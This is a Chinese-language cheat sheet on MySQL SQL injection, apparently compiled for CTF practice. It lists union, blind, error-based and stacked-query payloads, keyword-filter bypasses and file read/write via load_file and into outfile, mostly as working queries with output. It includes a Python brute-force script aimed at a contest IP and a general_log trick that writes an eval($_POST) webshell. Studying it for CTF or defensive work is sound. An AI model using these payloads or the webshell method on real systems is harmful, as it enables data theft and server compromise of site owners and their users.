MySQL的数据库结构
MySQL基础知识
information_schema //MySQL自带数据表
table_schema //数据库名
table_name //表名
column_name //列名
select table_name information_schema.tables where table_schema=database(); //跑表名
select column_name from information_schema.columns where table_name='admin' //跑列名
select password from admin//跑数据
盲注
运用的一些函数
substr(version(),1,1); //截取 第一字节 开始 数的 第一个字节
if(1=1,sleep(5),1); 如果1=1 那么sleep(5) 否则输出1
ord('a') //acill 97
bool(布尔)盲注
形如 ‘=(bool)=’ ,and ‘1’=’1’ , and 1=1
admin'=(select(substr((select(passwd)from(user))from(1)for(1)))=8)='1 //
时间盲注
形如 if(1=1,sleep(5),1)
if(ord((select substr(username,{0},1) from user ))=50,sleep(3)
select table_name from information_schema.tables where table_schema=database()
select if(ord(substr((select table_name from information_schema.tables where table_schema=database()),0,1))=117,sleep(5),1);
select if(ord(substr((select username from user limit 1),1,1))=108,sleep(5),1);
insert update delect注入 引用
http://blog.csdn.net/ysynhtt/article/details/45115849
insert语句
insert into users (id, username, password) values (2,''injecthere'','Olivia');
insert into users (id, username, password) values (2,""injecthere"",'Olivia');
payload
or updatexml(1,concat(0x7e,(version())),0) or
insert
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
update
UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
delete
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
报错注入(xpath,updatemal,exp)
XPATH注入
0x7e表示的是“~”符号
+and+extractvalue(rand(),concat(0x7e,version()))-- //报错回显版本号
updatexml报错注入
+and+updatexml(0x7e,concat(0x7e,(version())),0)--
exp报错注入
and EXP(~(SELECT * from(select user())a))
宽字节注入
?id=-1%df%27union%20select%201,user(),3--+
注入的产生
id变量通过get方式获取并且直接拼接到SQL语句中,而id参数用户可控,造成注入
MySQL5注入的一般流程
获取字段数-查库名-查表名-查列名-查数据
获取字段数:order by 临界值
获取库名:database()
表名和列名没有内置函数 怎么查?
union语句:将不同表的两个列查询的数据去重拼接
union all :不去重
获取MySQL版本:version()
MySQL5.0以下版本只能和access数据库一样猜解
而MySQL5.0以上版本内置了information_schema库,存储了所有的数据库名、表名、列名
information_schema.tables 记录表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段
table_name 表名
column_name 列名
查表名:
SELECT table_name FROM information_schema.tables where TABLE_SCHEMA=database();
查列名:
SELECT column_name FROM information_schema.columns where TABLE_name=‘users’;
查数据:
select 列名 from 库名.表名
MySQL注入
基本介绍
字符型
有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句
$sql="SELECT * FROM users WHERE id= '$id'";
闭合前面的单引号把后面的单引号注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=(('$id' ))
闭合单引号,闭合两个括号把后面的都注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=('$id')";
闭合单引号,闭合括号把后面的都注释掉跟上sql语句
$id ='"'.$id.'"'
$sql = "SELECT * FROM users WHERE id = $id";
闭合前面的双引号再注释后面的双引号
$id = '("'.$id.'")';
$sql = "SELECT * FROM users WHERE id = $id";
数字型
字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型
其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别
$sql="SELECT * FROM users WHERE id=$id";
搜索型
就是post型的提交方式
Cookie注入
HTTP头注入
X-Forwarded-For
X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
User-agent
用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。
Referer
Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。
具体实例
数字型注入
一般类型
因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入
如何判断:'url?id=1+1’如果成功返回数据则为数字型注入+=%2b
首先查字段
url?id = 1 order by 3 不报错
url?id = 1 order by 4 报错
所以有三个字段
接下来使用联合查询:url?id = 1 union select 1,2,3
查当前数据库名,版本,用户
url?id = 1 union select database(),version(),user()
查询有什么表
url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()
查询列名:
url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'
查询数据:
url?id = 1 union select id,username,password from users
被单引号包裹起来的
在之后我们拼接and 1=1 and 1= 2,发现没有报错
之后加上id = 1'单引号后报错,不正常说明sql语句可控
在Mysql中--+代表注释此时id = 1'--+成功执行
之后插上id = 1 and 1=2'-- +不正常,即可食用之后类似上面一般类型
双引号加小括号包裹
首先查看id = 1
类似上面?id = 1') and 1 = 2-- +发现1=1和1=2成功执行
两个括号
采用? id = 1')) union select 1,2,3 -- +
字符型注入
如果在url后拼接?id=1 and 1=1orand 1=2分别正确错误则说明为字符型注入
搜索型注入
%代表%前面可以有字符后面也可以有
配合HackBar食用
post数据name = a' union select 1,2,3 -- +
Cookie注入
配合Burp使用
改为Cookie: uid = 1 union select 1,2,3
HTTP头注入
配合Burp食用
添加XFF头
127.0.0.1' order by 4-- +成功,配合联合查询即可!!!
注入方式和数字型类似
五种时间盲注姿势
sleep()函数
benchmark函数
BENCHMARK(count,expr)
benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟
笛卡尔积盲注
注入姿势:
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)
mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)
mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
Empty set (0.01 sec)
利用and短路运算规则进行时间盲注。
GET_LOCK盲注
可以去看看get_lock函数官方文档中的介绍
可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。
此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入
SESSION A:
mysql> select get_lock('lihuaiqiu',1);
+-------------------------+
| get_lock('lihuaiqiu',1) |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
SESSION B:
mysql> select get_lock('lihuaiqiu',5);
+-------------------------+
| get_lock('lihuaiqiu',5) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (5.00 sec)
mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2);
Empty set (2.00 sec)
mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2);
Empty set (0.00 sec)
同样的盲注利用手法。
正则DOS RLIKE注入
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。
利用手法:
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
+------+
| flag |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
Empty set (3.83 sec)
报错注入:
正常的报错注入网上一搜是一大把的,所以下面讲的是几个比较的姿势。
mysql列名重复报错
在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列.
Name_const函数用法
mysql> select name_const(version(),1);
+--------+
| 5.5.47 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
报错用法:
mysql> select name_const(version(),1),name_const(version(),1);;
+--------+--------+
| 5.5.47 | 5.5.47 |
+--------+--------+
| 1 | 1 |
+--------+--------+
1 row in set (0.00 sec)
ERROR:
No query specified
mysql> select * from (select name_const(version(),1),name_const(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.5.47'
不过这个有很大的限制,version()所多应的值必须是常量,而我们所需要的database()和user()都是变量,无法通过报错得出,但是我们可以利用这个原理配合join函数得到列名。
用法如下:
mysql> select * from ctf_test a join ctf_test b;
+------+--------------+------+--------------+
| user | pwd | user | pwd |
+------+--------------+------+--------------+
| 1 | 0 | 1 | 0 |
| 2 | flag{OK_t72} | 1 | 0 |
| 1 | 0 | 2 | flag{OK_t72} |
| 2 | flag{OK_t72} | 2 | flag{OK_t72} |
+------+--------------+------+--------------+
4 rows in set (0.00 sec)
mysql> select * from (select * from ctf_test a join ctf_test b )x;
ERROR 1060 (42S21): Duplicate column name 'user'
mysql> select * from (select * from ctf_test a join ctf_test b using(user))x;
ERROR 1060 (42S21): Duplicate column name 'pwd'
mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x;
+------+--------------+
| user | pwd |
+------+--------------+
| 1 | 0 |
| 2 | flag{OK_t72} |
+------+--------------+
2 rows in set (0.00 sec)
xpath语法报错与整数溢出报错的区别
xpath报错注入中,我们经常用的语法有updatexml和extractvalue函数,同样是报错注入,那么在使用中有什么区别?
eg:第12届全国大学生信息安全竞赛全宇宙最简单的SQL
如果二者的区别认知不太清楚,很可能导致卡在这个点上
mysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999);
Empty set (0.00 sec)
从上面的实验中可以得出如果在sql语句中有出现语法错误,则会直接报错,不会被and短路运算所影响,如果是大数溢出报错,则会遵循and短路运算规则。所以可以利用大数溢出这个问题结合前面的1=0的判断条件进行布尔盲注。
整数溢出报错函数
pow(),cot(),exp()
mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'
mysql> select * from ctf_test where user='2' and 1=1 and exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
利用几何函数进行报错注入
几何函数进行报错注入,如polygon(),linestring()函数等,姿势如下:
mysql> select * from ctf_test where user='1' and polygon(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
mysql> select * from ctf_test where user='1' and linestring(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing
对于insert,delete,update三种操作的注入
对于select类型操作其实是最常见,最容易上手的,但insert,delete,update三种操作的注入也很重要,下面是总结的这三种注入的操作姿势。
insert报错注入
insert into ctf_test(`user`,`pwd`) value('1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','2');
update报错注入
update ctf_test set user=1 where pwd='2' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '';
delete报错注入
mysql> delete from ctf_test where user='1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '';
ERROR 1105 (HY000): XPATH syntax error: '~test~'
时间盲注
insert类型
mysql> insert into ctf_test(`user`,`pwd`) value('1' and sleep(3) and '','2');
Query OK, 1 row affected (3.00 sec)
delete和update也都是一样的,就不一 一列举了。
另类注入姿势以及对关键词过滤的绕过
order by 盲注
eg:ISCC web5
当填入16进制的字符字典序小于flag中对应字母的字典序时,返回的是union插入的字符;当16进制的字符字典序大于flag中的对应字母的字典序时,返回的是flag字段。此种sql注入手法可以在小括号和列名被过滤时使用。
对应exp:
import requests
url='http://39.100.83.188:8054/'
headers={"User-Agent":"lihuaiqiu Union.373"}
payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1"
flag=''
for i in range(20):
for j in range(33,127):
data={"username":payload.format((flag+chr(j)).encode('hex')),"password":'233'}
lihuaiqiu=requests.post(url,headers=headers,data=data)
if "union_373_Tom" in lihuaiqiu.text:
flag+=chr(j-1)
print (flag)
break
MySQL数据库的Innodb引擎的注入
在对应代码中过滤了information关键字,无法使用information_schema.tables以及information_schema.columns进行查找表和列名。
此时可以通过innodb引擎进行注入,在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_stats和innodb_index_stats。
所以可以通过查找这两个表取代information的作用
mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
+------+
| flag |
+------+
| 1 |
| flag |
+------+
2 rows in set, 1 warning (0.00 sec)
mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
+----------------+
| flag |
+----------------+
| 1 |
| flag,flag,flag |
+----------------+
2 rows in set, 1 warning (0.00 sec)
无列名注入
看一下下面的payload的就会懂的,原理比较简单
异或注入
在and,or ,|,&&,||等符号被过滤的情况下,可以采用异或注入达到注入的目的。
mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
Empty set (0.00 sec)
mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
同等功能替换
空格绕过:%0a,/**/.
关键函数过滤:
substr等价于left ,mid,substring
group_concat等价于concat_ws
逗号被过滤
针对逗号被过滤的情况有三种,第一种情况是union select 中的逗号被过滤掉,第二种情况是substr,mid这类截取字符函数中的逗号被过滤掉,第三种是limit 0,1中的逗号被过滤。
union select 逗号被过滤掉
利用join注入,payload如下:
mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b;
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
| 1 | 2 |
+------+--------------+
2 rows in set (0.00 sec)
功能函数逗号被过滤
利用from...for...进行绕过
mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0);
Empty set (0.00 sec)
limit中逗号被过滤
利用limit..offset进行绕过
limit 9 offset 4表示从第十行开始返回4行,返回的是10,11,12,13
mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
+------------+
| table_name |
+------------+
| admin |
+------------+
1 row in set (0.00 sec)
mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
+------------+
| table_name |
+------------+
| ctf_test |
+------------+
1 row in set (0.00 sec)
等于号被过滤
可以用like,regexp,between...and..,rlike进行代替,用法如下:
还有另外一种特殊的代替方法,利用locate,position,instr三种函数进行判断
用法如下:
mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
堆叠注入
eg:强网杯2019随便注
payload如下形式:
查询字段
';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;
查询内容
;use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;
load_file&into outfile
这两个函数在sql注入中是影响比较大的两个函数,如果能成功利用,即可getshell和读取任意文件,但作用很大,同样限制条件也很多。
into outfile
1.首先要知道网站的绝对路径(可从报错或者phpinfo()中获得)
2.拥有file权限
3.secure_file_priv限制。通过SHOW VARIABLES LIKE "secure_file_priv"查看信息
mysqld --secure_file_priv=null(不允许导入导出)
mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)
mysql --secure_file_priv=(任意导入导出)
into outfile有四种写入文件的方式
通过union注入写入文件
mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';
Query OK, 2 rows affected, 1 warning (0.01 sec)
通过FIELDS TERMINATED BY写入文件
mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.01 sec)
FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。可以看到在一个字段的情况下无法添加我们的webshell。
通过LINES TERMINATED BY写入文件
LINES TERMINATED BY为在每个记录后都添加设定添加的内容,不受字段数的限制
mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.00 sec)
LINES STARTING BY写入shell
用法与LINES TERMINATED BY一样,payload如下:
mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
Query OK, 1 row affected, 1 warning (0.01 sec)
load_file
1.要求拥有file权限
2.知道文件所在绝对路径
3.同样受secure_file_priv限制
union注入进行load_file
效果如下:
mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');
+----------------------+
| flag |
+----------------------+
| 1 |
| <?php phpinfo();?>1
|
+----------------------+
2 rows in set, 1 warning (0.01 sec)
利用报错注入进行load_file
测试:
mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1
~'
成功得到文件内容
利用时间盲注进行load_file
测试如下:
mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);
Empty set, 1 warning (3.00 sec)
成功延时3s,可配合脚本得到文件内容。
利用load_file扫描文件是否存在
mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。
另类写读文件
可以看看dumpfile 官方文档
危险变量导致getshell
在我们可连接上被攻击数据库时,我们可以通过select..into outfile..进行写shell,但如果secure_file_priv为NULL且不可更改时,我们就无法通过这种形式去getshell。除了这种写shell的方式还有一种通过日志去写shell的方式,操作如下:
show variables like '%general%'; 查看配置信息
set global general_log=on 开启general log模式
set global general_log_file='F:\\phpstudy\\www\\shell.php';
select '<?php eval($_POST['bit']);?>';
最终shell.php为我们的webshell
组合拳思考
我们在常规的注入中,流程应该就是查找数据库,查找表,查找字段,爆字段。
其实利用上面的方法,我们可以做操作来绕过条件过滤。
以Sqli-lab less-1为例
首先通过polygon函数进行报错
接着通过列重复来报错
通过以上步骤可爆出id,username,password三个字段,最终爆出字段内容。
同理,order by盲注也比较有用,在列名以及小括号被过滤的情况下就比较适合。
SQLmap的使用
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
官方网站:http://sqlmap.org/,
下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
演示视频:https://asciinema.org/a/46601
教程:http://www.youtube.com/user/inquisb/videos
1.1 sqlmap简介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
l 联合查询注入,可以使用union的情况下的注入;
l 堆查询注入,可以同时执行多条语句的执行时的注入。
详细内容点击:---> 这里 <---
参考博客: